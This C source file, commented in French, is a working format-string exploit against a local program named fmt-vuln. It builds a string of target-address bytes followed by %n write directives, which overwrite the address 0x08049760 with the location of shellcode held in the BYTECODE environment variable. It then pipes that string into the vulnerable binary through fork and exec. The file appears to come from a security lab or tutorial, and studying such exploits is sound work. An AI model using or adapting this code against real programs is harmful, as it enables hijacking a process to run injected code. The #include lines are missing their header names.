#include #include #include #include #define VAR_ENV "BYTECODE" //Variable d'environnement contenant le bytecode à insérérer #define ADDR_OW 0x08049760 //Adresse à laquelle on va insérer l'adresse de la variable d'environnement #define EXECUTABLE "./fmt-vuln" #define BEFORE_STRING 6 //Nb de mots dans la pile avant la format string #define MAX_LEN 70 static void construction_fmtstr(char *,const long,const long); int main() { int pfildes[2]; pid_t pid; char fmt_string[MAX_LEN]; if (getenv(VAR_ENV)== NULL) { printf("Variable d'environnement %s non trouvée\n",VAR_ENV); exit(0); } printf("Contenu de la variable d'environnement : %s\n",getenv(VAR_ENV)); construction_fmtstr(fmt_string,(long)getenv(VAR_ENV),ADDR_OW); /* echo fmt_string | ./fmt-vuln */ if (pipe(pfildes) == -1) { perror("Ne peut créer de pipe"); exit(1); } if ((pid = fork()) == -1) { perror("Ne peut créer un process"); exit(1); } if (pid == 0) { /* enfant : "echo fmt_string" */ close(pfildes[0]); //On ferme le côté lecture au début de la pipe dup2(pfildes[1],1); //stdout revient à écrire au début de la pipe close(pfildes[1]); //On ferme les descripteurs de fichiers inutiles execlp("echo","echo",fmt_string,NULL); perror("Erreur dans la création de l'echo"); /* still around? exec failed */ _exit(1); } else { /* parent : "./fmt-vuln" */ close(pfildes[1]); //On ferme le côté écriture à la fin de la pipe dup2(pfildes[0],0); //stdin revient à lire à la fin de la pipe close(pfildes[0]); //On ferme les descripteurs de fichiers inutiles execlp(EXECUTABLE,EXECUTABLE+2,NULL); perror("Erreur dans l'éxécution du programme vulnérable"); //still around? exec failed exit(1); //parent flushes } return 0; } static void construction_fmtstr(char * fmt_string, const long env_var,const long ow_addr) { long byte1,byte2,byte3,byte4; char tmp[55]; /*Debug*/ printf("Variable d'environnement à 0x%x\n",env_var); printf("Adresse à laquelle on va écrire l'adresse de la variable d'environnement : 0x%x\n",ow_addr); /*Décomposition adresse à écraser et append à la string formatée*/ byte1 = (ow_addr >> 24); byte2 = ((ow_addr & 0xffffff) >> 16); byte3 = ((ow_addr & 0xffff) >> 8); byte4 = (ow_addr & 0xff); sprintf(fmt_string,"%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c",byte4,byte3,byte2,byte1,byte4 +1,byte3,byte2,byte1,byte4 +2,byte3,byte2,byte1,byte4 +3,byte3,byte2,byte1); /*Décomposition adresse de la variable d'environnement et append à la string formatée*/ byte1 = ((env_var >> 24) & 0xff) + (1 << 10); byte2 = ((env_var >> 16) & 0xff) + (3 << 8); byte3 = ((env_var >> 8) & 0xff) + (1 << 9); byte4 = (env_var & 0xff) + (1 << 8); sprintf(tmp,"%%%d$%dx%%%d$n%%%d$%dx%%%d$n%%%d$%dx%%%d$n%%%d$%dx%%%d$n",BEFORE_STRING,byte4-16,BEFORE_STRING+1,BEFORE_STRING,byte3-byte4,BEFORE_STRING+2,BEFORE_STRING,byte2-byte3,BEFORE_STRING+3,BEFORE_STRING,byte1-byte2,BEFORE_STRING+4); strcat(fmt_string,tmp); /*Affichage*/ printf("Chaine formatée = %s\n",fmt_string); }